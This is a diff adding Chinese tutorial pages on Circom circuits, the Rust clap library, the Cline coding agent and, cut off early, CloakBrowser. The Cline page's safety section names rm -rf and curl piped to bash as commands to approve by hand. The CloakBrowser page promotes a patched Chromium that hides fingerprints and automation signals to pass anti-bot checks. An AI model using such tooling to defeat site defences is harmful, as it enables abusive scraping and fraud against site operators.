+- 理解 **pre-fork Web 服务器**（gunicorn/uwsgi 类）下 refcount、COW、JIT 代码共享的交互
+
+**可暂时跳过**：
+
+- 只为写普通 Django/FastAPI 业务——直接用官方 CPython + 3.12+ 即可
+- 需要 **macOS/Windows 官方支持** 的生产部署
+- 期望「pip install cinder 就能加速现有项目」——应看 **CinderX** 与具体 Python 版本说明
+
+## 小结
+
+Cinder 是 Meta 为 **Instagram 级 Python Web 负载**定制的 CPython 分支：**Shadowcode 特化解释、方法级 JIT、Static Python 注解编译、Strict Modules 与 immortal 对象** 共同服务 pre-fork、async 密集、超大代码库等约束。它把「类型标注 + 运行时」推到接近 C 扩展的性能，同时尽量保持 Python 开发体验；开源版本是**对话 upstream 的试验场**，而非面向公众的「更快 Python 发行版」。跟进性能方向时，建议同时阅读 **[CinderX](https://github.com/facebookincubator/cinderx)** 与 **CPython 3.13+ 官方 JIT** 文档，三者构成同一条「让默认 Python 更快」的时间线。
diff --git a/src/content/docs/projects/circom-iden3.md b/src/content/docs/projects/circom-iden3.md
new file mode 100644
index 000000000..ad3bc8a35
--- /dev/null
+++ b/src/content/docs/projects/circom-iden3.md
@@ -0,0 +1,221 @@
+---
+title: Circom 零基础入门——从零知识证明到算术电路
+来源: https://github.com/iden3/circom
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# Circom 零基础入门——从零知识证明到算术电路
+
+## 一、什么是 Circom？
+
+Circom 是一个**领域特定语言（DSL）**，专门用来编写「算术电路」，然后编译器会自动生成零知识证明（ZK proof）。
+
+先别被这三个字母吓到。我们把零知识证明想象成一个**密封盒子**：
+
+> 你有一份秘密配方（比如你的密码），你想向别人证明"我知道这个配方"，但又不想把配方内容告诉对方。
+>
+> 传统做法：你把配方直接给对方看——对方知道了，但你也暴露了秘密。
+>
+> 零知识证明的做法：你通过一套数学游戏让对方相信"我确实知道配方"，但整个过程对方什么都学不到。
+
+而 Circom 就是**描述这套数学游戏的编程语言**。你用 Circom 写一个电路，编译器把它变成一组数学约束，然后用这些约束去生成证明。
+
+Circom 由 iden3 团队开发（Complutense University of Madrid 的 COSTA 研究组），目前最新版本是 v2.2.3，用 Rust 编写编译器，是目前 ZK 生态中最主流的语言之一。
+
+## 二、核心概念
+
+理解 Circom 只需要掌握四个概念：
+
+### 1. Signal（信号）——电路中的"电线"
+
+信号是 Circom 最基本的单位，你可以把它想象成电路中的一根电线，上面承载着一个数值（有限域上的元素）。
+
+信号有三种角色：
+- **input（输入）**：电路的外部输入，可以是公开的也可以是私有的
+- **output（输出）**：电路的最终结果，默认都是公开的
+- **intermediate（中间信号）**：电路内部计算的中间值，对外不可见
+
+```
+输入信号 ──→ 中间计算 ──→ 输出信号
+in1 ────────→ multiply ───→ out
+in2 ────────┘
+```
+
+### 2. Template（模板）——可复用的电路模块
+
+Template 就像函数，定义了一组信号的连接关系和计算逻辑。你可以把模板实例化为一个具体的组件。
+
+### 3. Component（组件）——模板的实例
+
+把模板"运行"一次，得到一个具体的组件。组件之间可以互相连接，形成更大的电路。
+
+### 4. Constraint（约束）——数学锁
+
+这是整个 ZK 系统的核心。每个约束都是一条数学等式，证明者必须找到一组信号的值，让所有等式同时成立。如果等式成立，就证明"我知道满足这些条件的值"。
+
+## 三、三种赋值操作符
+
+Circom 有三个箭头操作符，初学者最容易在这里搞混：
+
+| 操作符 | 含义 | 是否生成约束 |
+|--------|------|-------------|
+| `<==` | 赋值并生成约束 | ✅ 是 |
+| `==>` | 从右向左赋值并生成约束 | ✅ 是 |
+| `<--` | 只赋值，不生成约束 | ❌ 否 |
+
+**新手建议：永远只用 `<==` 和 `==>`**。只有在表达式无法写成约束形式时才用 `<--`，并且必须手动加 `===` 来补充约束。
+
+## 四、代码示例
+
+### 示例 1：最简单的乘法电路
+
+这是 Circom 世界的"Hello World"——证明你知道两个数相乘的结果。
+
+```circom
+pragma circom 2.0.0;
+
+template Multiplier2() {
+    // 声明两个输入信号和一个输出信号
+    signal input in1;
+    signal input in2;
+    signal output out;
+
+    // out 必须等于 in1 乘以 in2
+    // <== 同时做了两件事：赋值 + 生成约束
+    out <== in1 * in2;
+}
+
+// 实例化 main 组件
+// {public [in1, in2]} 表示这两个输入是公开的
+// 如果不写 public，它们就是私有的
+component main {public [in1, in2]} = Multiplier2();
+```
+
+**这个电路在说什么？**
+
+假设你想向朋友证明你知道 7 × 13 = 91，但你不想让他知道 7 和 13 具体是多少。你可以：
+
+1. 把这个电路编译成 R1CS 约束文件
+2. 用 7 和 13 作为私有输入，计算出 91 作为公开输出
+3. 生成一个零知识证明，证明"存在两个数，它们的乘积等于 91"
+4. 验证者只看证明和输出 91，就能确信你确实知道这两个数，但完全不知道它们是什么
+
+### 示例 2：布尔值检查电路
+
+这个电路证明某个输入值只能是 0 或 1（在 ZK 中非常常用）。
+
+```circom
+pragma circom 2.0.0;
+
+template BooleanCheck() {
+    signal input in;
+    signal output out;
+
+    // 关键约束：in * (in - 1) === 0
+    // 这个方程只有当 in = 0 或 in = 1 时才成立
+    // 因为：如果 in = 0 → 0 * (-1) = 0 ✓
+    //       如果 in = 1 → 1 * 0 = 0 ✓
+    //       如果 in = 2 → 2 * 1 = 2 ≠ 0 ✗
+    in * (in - 1) === 0;
+
+    // 输出等于输入
+    out <== in;
+}
+
+// 使用这个模板
+component main = BooleanCheck();
+```
+
+**为什么 `in * (in - 1) === 0` 只能接受 0 或 1？**
+
+这其实是一个简单的代数问题。方程 `x(x-1) = 0` 的解只有 x=0 和 x=1。在有限域中这个性质依然成立。所以在 ZK 电路中，这是一个标准的"把变量限制为布尔值"的技巧。
+
+### 示例 3：位分解电路（展示 `<--` 的用法）
+
+当表达式**不能**直接写成约束形式时，需要用 `<--` 赋值，然后手动补充约束。
+
+```circom
+pragma circom 2.0.0;
+
+template BitDecompose() {
+    signal input in;          // 一个 8 位的数（0-255）
+    signal output bits[8];    // 分解成 8 个二进制位
+
+    // 用 <-- 提取每一位（位移和与运算无法直接写成约束）
+    for (var k = 0; k < 8; k++) {
+        bits[k] <-- (in >> k) & 1;
+        // 手动约束：每个位必须是 0 或 1
+        bits[k] * (bits[k] - 1) === 0;
+    }
+
+    // 手动约束：8 个位重新组合后必须等于原始输入
+    var reconstructed = 0;
+    for (var k = 0; k < 8; k++) {
+        reconstructed += bits[k] * (1 << k);
+    }
+    reconstructed === in;
+}
+
+component main = BitDecompose();
+```
+
+**这个电路在做什么？**
+
+把一个 8 位数拆成 8 个二进制位，同时证明：
+1. 每个位确实是 0 或 1
+2. 把这些位重新拼回去，等于原始数字
+
+这在 ZK 应用中很常见，比如证明某个数在一个范围内（range proof），或者进行位级别的逻辑运算。
+
+## 五、编译流程
+
+Circom 的工作流程可以概括为四步：
+
+```
+.circom 源码
+    │
+    ▼
+circom 编译器
+    │ 输出 R1CS 约束文件 + WASM/C++ 见证生成程序
+    ▼
+snarkjs（或其他 proving 库）
+    │ 设置 trusted setup → 生成证明 → 验证证明
+    ▼
+零知识证明
+```
+
+1. **编写电路**：用 `.circom` 文件定义电路逻辑
+2. **编译**：`circom circuit.circom --r1cs --wasm --sym`，输出 R1CS 文件和见证生成代码
+3. **计算见证**：用生成的 WASM 程序填入具体数值，计算所有信号的值
+4. **生成和验证证明**：用 snarkjs 等工具生成 ZK 证明并验证
+
+## 六、Circom 生态
+
+Circom 不是一个孤立的项目，它有一套完整的工具链：
+
+- **circomlib**：官方提供的电路库，包含哈希函数、签名验证、比较器等数百个预构建电路
+- **snarkjs**：JavaScript 实现的 proving 系统，支持 Groth16 等证明协议
+- **circomkit**：现代化的开发和测试框架，支持多种 proving 协议
+- **zkREPL**：在线Circom Playground，可以直接在浏览器中编写和测试电路
+- **Circomspect**：Trail of Bits 开发的静态分析工具，检测电路中的常见漏洞
+
+## 七、学习建议
+
+1. **先理解 ZK 的背景概念**：什么是证明者/验证者、什么是可信设置、R1CS 是什么。Circom 文档的 Background 章节值得先读
+2. **从 circomlib 的现成电路开始看**：不要一开始就自己写复杂电路，先读懂别人的
+3. **多用 zkREPL**：在线环境不用配环境，写一段跑一段，即时反馈
+4. **注意安全性**：Circom 中用 `<--` 是最常见的错误来源，新手阶段尽量只用 `<==`
+5. **了解安全分析工具**：写完后用 Circomspect 等工具检查，ZK 电路的安全漏洞后果严重
+
+## 八、总结
+
+Circom 的核心思想很简单：
+
+> 用一种接近编程语言的语法，描述一组数学约束。编译器把这些约束打包成 R1CS 格式， proving 系统据此生成零知识证明。
+
+四个关键词记住一切：**信号**（数据流）、**模板**（可复用模块）、**约束**（数学锁）、**证明**（最终产出）。
+
+当你理解了"约束就是方程，证明就是告诉别人你找到了方程的解但不透露解本身"这个类比，Circom 的大门就已经向你打开了。
diff --git a/src/content/docs/projects/clap.md b/src/content/docs/projects/clap.md
new file mode 100644
index 000000000..4cada14c8
--- /dev/null
+++ b/src/content/docs/projects/clap.md
@@ -0,0 +1,227 @@
+---
+title: clap — Rust CLI 参数解析
+来源: https://github.com/clap-rs/clap
+日期: 2026-06-13
+分类: 编程语言
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# clap — Rust CLI 参数解析
+
+## 一句话理解
+
+clap 是 Rust 生态里最流行的命令行参数解析库。它的功能就像一个餐厅的点餐窗口：你站在窗口前（终端），顾客（用户）告诉你想要什么菜（命令和参数），clap 负责把顾客说的话翻译成厨房能看懂的结构化数据。
+
+没有 clap 的话，你需要自己处理 `--help`、`-v`、`--name John` 这些字符串，还要自己生成帮助文档。有了 clap，这些脏活累活它全包了。
+
+## 核心概念
+
+### 1. Command（命令）
+
+Command 是整个 CLI 的入口，代表你的程序本身。它包含程序名、版本、描述、以及所有可以接受的参数。就像一家餐厅的名字和招牌。
+
+### 2. Arg（参数）
+
+Arg 是 Command 下面一个个具体的输入项。每个 Arg 有名字、缩写、类型、是否必填、默认值等属性。常见的参数形式包括：
+
+- **短参数**：`-n`，像 `-h`（帮助）、`-v`（版本）
+- **长参数**：`--name`，像 `--verbose`、`--output`
+- **位置参数**：不需要 `--` 前缀，按顺序出现，比如文件名
+- **标志（flag）**：只有开关，没有值，比如 `--verbose`
+
+### 3. 两种使用方式
+
+clap 提供两套 API，像两条不同的点餐路线：
+
+- **Derive（派生）方式**：用 Rust 的 derive macro，通过给 struct 加属性来定义参数。代码量最少，推荐新手使用。
+- **Builder（构建器）方式**：用链式调用来一步步构建参数。更灵活，适合复杂场景。
+
+### 4. ArgMatches（匹配结果）
+
+解析完成后，clap 返回一个 `ArgMatches` 对象，你可以从中取出用户输入的值。就像服务员把订单送到厨房后，厨师从订单上读取每道菜的信息。
+
+## 代码示例一：Derive 方式（推荐入门）
+
+这是最简洁的方式，用 Rust 的 derive macro 定义参数。
+
+```rust
+use clap::Parser;
+
+/// 一个打招呼的小程序
+#[derive(Parser, Debug)]
+#[command(version, about, long_about = None)]
+struct Args {
+    /// 要打招呼的人的名字
+    #[arg(short, long)]
+    name: String,
+
+    /// 打招呼的次数（默认 1 次）
+    #[arg(short, long, default_value_t = 1)]
+    count: u8,
+}
+
+fn main() {
+    // 解析命令行参数
+    let args = Args::parse();
+
+    // 按照指定次数打招呼
+    for _ in 0..args.count {
+        println!("Hello {}!", args.name);
+    }
+}
+```
+
+这段代码做了什么：
+
+1. `#[derive(Parser)]` 告诉 clap 从这个 struct 生成参数解析逻辑
+2. `#[command(version, about, long_about = None)]` 设置程序的版本和帮助信息
+3. `#[arg(short, long)]` 给 `name` 字段生成 `-n/--name` 两个参数
+4. `#[arg(default_value_t = 1)]` 给 `count` 设置默认值为 1
+5. `Args::parse()` 自动处理 `--help`、`-v` 等内置命令
+
+运行效果：
+
+```
+$ cargo run -- --help
+A simple to use, efficient, and full-featured Command Line Argument Parser
+
+Usage: demo [OPTIONS] --name <NAME>
+
+Options:
+  -n, --name <NAME>    Name of the person to greet
+  -c, --count <COUNT>  Number of times to greet [default: 1]
+  -h, --help           Print help
+  -V, --version        Print version
+
+$ cargo run -- --name Alice --count 3
+Hello Alice!
+Hello Alice!
+Hello Alice!
+```
+
+注意：clap 会自动生成完整的帮助文档，包括参数描述、默认值、用法说明。你不需要手动写任何帮助文本。
+
+## 代码示例二：Builder 方式（灵活控制）
+
+Builder 方式适合需要更多控制的场景，比如动态添加参数、复杂的参数组合等。
+
+```rust
+use clap::{Arg, ArgAction, Command};
+
+fn main() {
+    let matches = Command::new("myapp")
+        .version("1.0")
+        .about("一个文件处理工具")
+        .author("作者名")
+        .arg(
+            Arg::new("input")
+                .help("输入文件路径")
+                .index(1)                      // 第一个位置参数
+                .required(true)                 // 必填
+        )
+        .arg(
+            Arg::new("output")
+                .help("输出文件路径")
+                .short('o')
+                .long("output")
+                .index(2)                     // 第二个位置参数
+                .required(false)              // 可选
+        )
+        .arg(
+            Arg::new("verbose")
+                .help("开启详细输出")
+                .short('v')
+                .long("verbose")
+                .action(ArgAction::SetTrue)   // 布尔开关
+        )
+        .arg(
+            Arg::new("level")
+                .help("日志级别")
+                .short('l')
+                .long("level")
+                .value_parser(["debug", "info", "warn", "error"])  // 限制取值
+                .default_value("info")
+        )
+        .get_matches();
+
+    // 取出参数值
+    let input_file = matches.get_one::<String>("input").unwrap();
+    let output_file = matches.get_one::<String>("output");
+
+    if matches.get_flag("verbose") {
+        println!("详细模式已开启");
+        let level = matches.get_one::<String>("level").unwrap();
+        println!("日志级别: {}", level);
+    }
+
+    println!("输入文件: {}", input_file);
+    if let Some(out) = output_file {
+        println!("输出文件: {}", out);
+    }
+}
+```
+
+这段代码展示了 Builder 方式的几个关键特性：
+
+1. `Arg::new("name")` 创建一个参数定义
+2. `.index(1)` 标记为位置参数，按顺序出现
+3. `.required(true/false)` 控制参数是否必填
+4. `.action(ArgAction::SetTrue)` 将参数变成布尔开关
+5. `.value_parser([...])` 限制参数只能取特定值
+6. `.get_one::<T>()` 从匹配结果中取出值，返回 `Option<&T>`
+7. `.get_flag()` 专门用于取出布尔标志的值
+
+运行效果：
+
+```
+$ cargo run -- input.txt -o output.txt -v -l debug
+详细模式已开启
+日志级别: debug
+输入文件: input.txt
+输出文件: output.txt
+```
+
+## 进阶概念
+
+### ArgGroup（参数分组）
+
+ArgGroup 可以把一组参数归为一类，表达"多选一"或"至少选一个"的关系。比如 `--file` 和 `--url` 不能同时出现，但至少需要一个。
+
+### Shell 补全
+
+clap 配合 `clap_complete` crate 可以自动生成 bash、zsh、fish、power shell 的补全脚本。用户安装后按 Tab 键就能自动补全命令和参数，体验接近原生工具。
+
+### 错误处理
+
+clap 自带完善的错误提示。用户输错参数时，它会给出类似这样的信息：
+
+```
+error: unexpected value '--verbos' was found
+  --> [input]
+  [note] Usage: --verbose [-v]
+[note] For more information try --help
+```
+
+还会智能地建议可能的修正（比如把 `--verbos` 建议成 `--verbose`）。
+
+## 为什么选 clap
+
+| 对比项 | clap | 手写解析 |
+|--------|------|----------|
+| 自动生成 --help | 自动 | 手动写 |
+| 参数校验 | 内置类型检查 + 自定义规则 | 自己写 |
+| 错误提示 | 彩色、带建议 | 自己格式化 |
+| Shell 补全 | 一行配置搞定 | 几千行脚本 |
+| 子命令 | 天然支持嵌套 | 自己解析 |
+
+clap 是目前 Rust 生态中 Star 数最多的 CLI 相关项目（超过 16,500 Star），被大量知名工具采用，比如 cargo、rustc、ripgrep 等。它的文档完善、社区活跃、版本迭代稳定，是 Rust 初学者学习 CLI 开发的最佳起点。
+
+## 学习路径建议
+
+1. 先掌握 Derive 方式，快速上手
+2. 理解 Arg、Command、ArgMatches 三个核心类型
+3. 学习 Builder 方式，处理复杂场景
+4. 了解 ArgGroup 和参数间的依赖关系
+5. 实践添加 shell 补全
+6. 阅读 clap 官方 cookbook 和 tutorial 深入
diff --git a/src/content/docs/projects/cline.md b/src/content/docs/projects/cline.md
new file mode 100644
index 000000000..9bdfe4b89
--- /dev/null
+++ b/src/content/docs/projects/cline.md
@@ -0,0 +1,290 @@
+---
+title: Cline — VS Code 自主编码代理
+来源: https://github.com/cline/cline
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：带审批流程的「实习工程师」
+
+想象你带一位能力很强的实习生进项目组。你说：「给登录接口加 rate limit，跑测试，有问题自己修。」实习生会自己翻代码、改文件、开终端跑命令、必要时打开浏览器点页面验证——但**每做一步都会把方案递到你面前**：「我准备改这三个文件，并执行 `npm test`，可以吗？」你点批准，他才动；你点拒绝或改一句指示，他就换方案。
+
+**Cline 就是住在 [[vscode]] 侧边栏里的这位实习生。** 它是开源（Apache 2.0）的自主编码代理，在编辑器里读项目结构、写 diff、跑 shell、连 MCP 工具、甚至驱动浏览器做端到端验证。与「全自动黑盒脚本」不同，Cline 默认 **human-in-the-loop（人在回路）**：文件变更和终端命令都要经你审批（也可对信任操作开 auto-approve）。官方仓库：[cline/cline](https://github.com/cline/cline)；扩展可在 [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev) 安装。除 VS Code 外，项目还提供 CLI、SDK、Kanban 等多端形态，但零基础最顺的路径仍是 **装扩展 → 配 API Key → 侧边栏对话**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：聊天 AI 和「真的改仓库」之间缺一层编排
+
+网页 ChatGPT 能写代码片段，但你要自己复制、找路径、跑测试。Cline 把 **理解仓库 → 多文件编辑 → 执行命令 → 读 linter 输出 → 再修** 串成一条 agent loop，且每一步在 VS Code diff 视图里可见。
+
+### 痛点 2：一次性改太多，回滚困难
+
+Cline 在编辑过程中维护 **Checkpoints（检查点）**，可一键撤销 agent 的改动序列，不必手动 `git checkout -- .` 猜哪次改坏了。
+
+### 痛点 3：每个团队的规范不同
+
+通过 **`.clinerules/`** 目录（及兼容的 `AGENTS.md`、`.cursorrules` 等），把编码标准、测试要求、架构约定写进仓库，Cline 启动任务时会自动注入这些规则——类似给实习生一份 onboarding 手册。
+
+### 痛点 4：模型和工具被单一厂商绑死
+
+Cline 采用 **BYOK（Bring Your Own Key）**：Anthropic、OpenAI、Google Gemini、OpenRouter、AWS Bedrock、Azure、本地 Ollama / LM Studio 等均可配置，扩展本身不按 token 加价（你直接向模型商付费）。
+
+---
+
+## 核心概念拆解
+
+### 1. Agent Loop（代理循环）
+
+你发自然语言任务 → Cline 规划子步骤 → 调用内置工具（读文件、写文件、执行终端、搜索代码、浏览器操作等）→ 把结果反馈给模型 → 循环直到 `attempt_completion` 或你叫停。VS Code 1.93+ 的 **Shell Integration** 让 Cline 能在集成终端里跑命令并实时读 stdout/stderr，而不是 blind exec。
+
+### 2. Plan 模式 vs Act 模式
+
+官方 **Plan & Act** 双模式把「想」和「做」分开：
+
+| 模式 | 能做什么 | 不能做什么 |
+|------|----------|------------|
+| **Plan** | 读代码、搜索、讨论架构、写计划文档 | 改文件、跑命令 |
+| **Act** | 在 Plan 上下文基础上编辑、执行、测试 | — |
+
+典型流程：先在 Plan 里摸清范围和边界 → 切 Act 实现。复杂任务可用 `/deep-planning` 做更长程分析。还可为两种模式配置**不同模型**（例如 Plan 用强推理模型，Act 用更快便宜的模型）。
+
+### 3. 审批与 Auto-Approve
+
+每个 `write_file`、`execute_command`、MCP 工具调用都会弹出批准 UI。熟悉后可对只读类或固定测试命令开启 auto-approve，但新手建议保持默认——这是 Cline 相对「完全自主脚本」的安全阀。
+
+### 4. Checkpoints
+
+Act 模式下的大改前可启用 checkpoint；不满意从时间线回滚 agent 引入的变更，再换提示重试，比依赖单次 Git commit 粒度更细。
+
+### 5. Linter / Compiler 感知
+
+Cline 会监视 TypeScript、ESLint 等诊断信息；模型看到报错后会尝试补 import、修类型、改语法——类似实习生改完代码看一眼 Problems 面板。
+
+### 6. Computer Use / 浏览器
+
+支持 **Computer Use** 能力时，Cline 可启动浏览器、点击、输入、截图、读 console，用于 UI 调试或简单 E2E——适合「复现页面上的报错」这类任务。
+
+### 7. MCP（Model Context Protocol）
+
+MCP 像 **AI 的 USB-C 口**：通过标准协议把数据库、GitHub、搜索、文件系统等外部能力接进 agent。配置写在 MCP 设置 JSON（CLI 侧常见路径概念为 `.cline/mcp.json`；扩展内通过 MCP Servers 面板编辑）。传输方式包括 **stdio**（本地进程）和 **HTTP/SSE**（远程服务）。扩展内置 **MCP Marketplace**，可一键安装社区服务器。
+
+### 8. `.clinerules/` 项目规则
+
+在项目根建 `.clinerules/`，里面放多个 `.md` / `.txt`，Cline 合并后作为系统级约束。文件可用 YAML frontmatter 的 `paths` 字段做 **按 glob 激活**（例如只在 `src/**/*.ts` 时加载前端规范）。团队把规则 commit 进 Git，人人同一套 agent 行为。
+
+### 9. 多产品形态（了解即可）
+
+| 产品 | 用途 |
+|------|------|
+| VS Code 扩展 | 日常 GUI 开发 |
+| CLI (`npm i -g cline`) | 终端、CI、脚本化 |
+| SDK | 自建 agent / 插件 |
+| Kanban | 多 agent 任务看板 |
+
+零基础先把扩展用熟，再考虑 CLI 自动化。
+
+### 10. 与 Aider、Cursor、Copilot 的定位差
+
+| 维度 | Cline | [[aider]] | Cursor / Copilot |
+|------|-------|-----------|------------------|
+| 运行位置 | VS Code 侧边栏 | 终端 | IDE 内置 |
+| 自主多步 | 强，带逐步审批 | 强，Git 为中心 | 视功能而定 |
+| 规则文件 | `.clinerules/` | `.aider.conf.yml` | 各产品规则 |
+| MCP | 一等公民 + Marketplace | 非核心 | Cursor 也支持 MCP |
+| 开源 | Apache 2.0 | Apache 2.0 | 多为商业 |
+
+三者可并存：例如终端里 [[aider]] 做 Git 原子提交，VS Code 里 Cline 做带浏览器验证的大功能。
+
+---
+
+## 安装与首次配置
+
+1. 在 VS Code 扩展市场搜索 **Cline**（发布者 saoudrizwan）并安装。
+2. 打开侧边栏 Cline 面板，在 Settings 里选择 **API Provider**（Anthropic / OpenAI / OpenRouter 等）并填入 API Key。
+3. 用 `File → Open Folder` 打开一个 **Git 仓库**（便于你自己用 Git 做最终审查；Cline checkpoint 不能替代团队 PR 流程）。
+4. 建议默认从 **Plan 模式** 开始第一次对话。
+
+```bash
+# 可选：全局 CLI（与扩展共用 agent 核心）
+npm i -g cline
+
+# 查看 CLI 帮助
+cline --help
+```
+
+---
+
+## 代码示例 1：Plan → Act 完成一个小功能
+
+场景：在一个 Express 项目里新增 `GET /health`，返回 `{ status: "ok", uptime: number }`。
+
+**Step 1 — Plan 模式（只读）**
+
+在 Cline 输入：
+
+```text
+@src/server.ts @package.json
+我想加 GET /health，返回 JSON：status 和 process.uptime()。
+先别改文件：列出要动哪些文件、是否需要新测试、项目里现有的路由风格。
+```
+
+Cline 会搜索/阅读你 @ 提到的文件，给出计划。你确认无误后点击 **Switch to Act**（或输入切换 Act）。
+
+**Step 2 — Act 模式（执行）**
+
+```text
+按刚才的计划实现。写完在 package.json 里找 test 脚本并运行；
+如果有 eslint/tsc 报错请自行修复。完成后简短总结 diff。
+```
+
+你会依次看到类似审批项：
+
+```text
+[Approve] Write file: src/routes/health.ts
+[Approve] Execute: npm test
+[Approve] Write file: tests/health.test.ts  (若测试失败后的修复)
+```
+
+在 VS Code 内置 diff 里审查每处修改；若整条路径不对，用 **Reject** 并补充：「测试请用 vitest，不要 jest」。全部完成后 Cline 会 `attempt_completion` 并总结变更。
+
+---
+
+## 代码示例 2：`.clinerules/` 与 MCP 配置
+
+### 2a. 团队编码规则
+
+```text
+my-app/
+├── .clinerules/
+│   ├── 01-general.md
+│   ├── 02-typescript.md
+│   └── 03-testing.md
+├── src/
+└── package.json
+```
+
+`01-general.md`：
+
+```markdown
+# 通用约定
+
+- 所有新代码必须有对应测试。
+- 不要删除或弱化现有 eslint-disable，除非同时修复根因。
+- 提交前必须能本地通过 `npm run lint` 与 `npm test`。
+- 未经我明确批准，不要执行 deploy 或访问 production 环境变量。
+```
+
+`02-typescript.md`（带路径条件，仅编辑 TS 时生效）：
+
+```yaml
+---
+paths:
+  - "src/**/*.ts"
+  - "src/**/*.tsx"
+---
+
+# TypeScript 规范
+
+- 禁止使用 `any`；不确定时用 `unknown` 并收窄。
+- 公共 API 必须写 JSDoc。
+- 优先 functional 组件 + hooks，不要新建 class 组件。
+```
+
+之后任何 Cline 任务都会带上这些约束，减少「风格跑偏」。
+
+### 2b. MCP：给 Cline 接上 GitHub 与文件系统
+
+在 Cline 面板 → **MCP Servers** → Configure，在 `mcpServers` 中增加（路径按本机调整）：
+
+```json
+{
+  "mcpServers": {
+    "filesystem": {
+      "command": "npx",
+      "args": [
+        "-y",
+        "@modelcontextprotocol/server-filesystem",
+        "/Users/you/projects/my-app"
+      ],
+      "disabled": false
+    },
+    "github": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-github"],
+      "env": {
+        "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_xxxxxxxx"
+      },
+      "disabled": false
+    }
+  }
+}
+```
+
+保存后 MCP 面板应显示绿色连接与可用 **tools** 列表。此时你可以说：
+
+```text
+用 GitHub MCP 列出本 repo 最近 5 个 PR 的标题；
+再读 src/auth/login.ts，对照 PR 里关于 rate limit 的讨论，在 Plan 模式给出实现建议。
+```
+
+Cline 会在调用 `use_mcp_tool` 前再次请求批准（除非你为特定工具配置了 autoApprove）。
+
+CLI 侧也可用向导管理 MCP：
+
+```bash
+cline mcp
+# 交互式：List / Add / Edit / Enable / Disable / Delete
+```
+
+---
+
+## 常用操作速查
+
+| 操作 | 说明 |
+|------|------|
+| `@文件名` | 把文件/文件夹加入上下文 |
+| Plan ↔ Act 切换 | 工具栏或命令面板切换模式 |
+| `/deep-planning` | 复杂任务深度规划 |
+| MCP Servers 面板 | 安装、重启、禁用 MCP |
+| Checkpoints | 回滚 agent 变更序列 |
+| Settings → Plan/Act 模型 | 分模式指定不同 LLM |
+
+---
+
+## 成本、安全与合规
+
+- **成本**：按所选 LLM 提供商计费；长对话 + 大仓库 context 会烧 token。Plan 用贵模型、Act 用便宜模型是常见省钱组合。
+- **代码外泄**：源码与命令输出会发往模型 API；敏感仓库用本地 Ollama 或私有端点，并阅读厂商数据保留政策。
+- **命令风险**：`rm -rf`、curl 管道 bash、改 `.env` 等操作务必人工审批；CI 密钥不要写进会被 agent 读取的明文文件。
+- **MCP 权限**：filesystem 服务器只授予必要目录；GitHub token 用最小 scope。
+
+---
+
+## 实践建议（零基础上手）
+
+1. **先 Plan 后 Act**——除非 typo 级小改，否则不要一上来就 Act。
+2. **用 @ 精确指路**——@ 相关文件比让 agent 全库乱搜更省 token、更准。
+3. **把规范写进 `.clinerules/`**——比每次聊天重复「我们用 pnpm」更有效。
+4. **开 checkpoint 再做大重构**——多文件迁移、换框架时尤其有用。
+5. **MCP 一次加一个**——确认 tools 正常再叠下一个，方便排错。
+6. **人类仍做 code review**——Cline 是执行层，合并前你自己或 CI 终审。
+7. **与 Git 习惯结合**——agent 完成后 `git diff`、分 commit，别一股脑 push。
+
+---
+
+## 进一步阅读
+
+- 官网：[cline.bot](https://cline.bot/)
+- GitHub：[cline/cline](https://github.com/cline/cline)
+- 文档索引：[docs.cline.bot](https://docs.cline.bot/)（含 [Plan & Act](https://docs.cline.bot/features/plan-and-act)、[MCP](https://docs.cline.bot/mcp/mcp-marketplace)、[Rules](https://docs.cline.bot/customization/cline-rules)）
+- VS Code Marketplace：[Cline 扩展页](https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev)
+
+---
+
+## 小结
+
+Cline 把「会自己改代码的 AI」放进了你已有的 VS Code 工作流：**Plan 模式对齐方案，Act 模式落地变更，逐步审批守住安全线，Checkpoints 与 diff 视图保证可逆，`.clinerules/` 与 MCP 把团队规范和外部系统接进同一条 agent loop。** 对希望在不换 IDE 的前提下体验自主编码、又要保持透明可控的开发者，Cline 是从零上手的一条清晰路径——先装扩展、配一把 Key、从小任务 Plan → Act 开始，再逐步加规则与 MCP 即可。
diff --git a/src/content/docs/projects/cloak-browser.md b/src/content/docs/projects/cloak-browser.md
new file mode 100644
index 000000000..813ba8665
--- /dev/null
+++ b/src/content/docs/projects/cloak-browser.md
@@ -0,0 +1,285 @@
+---
+title: CloakBrowser — 源码级隐身 Chromium，Playwright 即插即用
+description: CloakHQ 开源的隐身 Chromium 二进制，58 处 C++ 补丁，可替代 Playwright/Puppeteer 通过常见反爬检测
+来源: 'https://github.com/CloakHQ/CloakBrowser'
+日期: 2026-06-13
+子分类: ai-ml-tools
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 日常类比：真护照 vs 贴纸改证件
+
+想象你要进一家会查证件的俱乐部：
+
+- **普通 Playwright**：你拿着一张写着「我是机器人」的工牌进去。门口保安（Cloudflare、FingerprintJS）一眼就能认出来。
+- **playwright-stealth / puppeteer-extra**：你在工牌上贴了几张「我是人类」的贴纸，还改了字体。保安见过太多这种贴纸，反而更可疑；Chrome 一升级，贴纸就对不上新版证件格式。
+- **CloakBrowser**：俱乐部发的是**真护照**——护照信息在制证环节（Chromium **C++ 源码**）就写好了，不是进门时再贴改。Canvas 指纹、WebGL、音频、字体、GPU 型号、`navigator.webdriver`、CDP 自动化信号……都在浏览器二进制里统一处理。检测站打分接近真人，因为它本质上**就是**一台正常 Chrome，只是专为自动化场景编译。
+
+[CloakBrowser](https://github.com/CloakHQ/CloakBrowser)（CloakHQ 开源）的定位很直白：**Stealth Chromium passing bot-detection，Playwright/Puppeteer drop-in replacement**。改 import，其余代码基本不动。
+
+---
+
+## 是什么：三层结构
+
+```mermaid
+flowchart TB
+  subgraph YourCode["你的脚本"]
+    PY["Python: cloakbrowser.launch()"]
+    JS["JS: import { launch } from 'cloakbrowser'"]
+  end
+  subgraph Wrapper["薄封装层"]
+    PW["Playwright / Puppeteer 驱动"]
+    CLI["二进制下载与版本管理 CLI"]
+  end
+  subgraph Binary["定制 Chromium 二进制"]
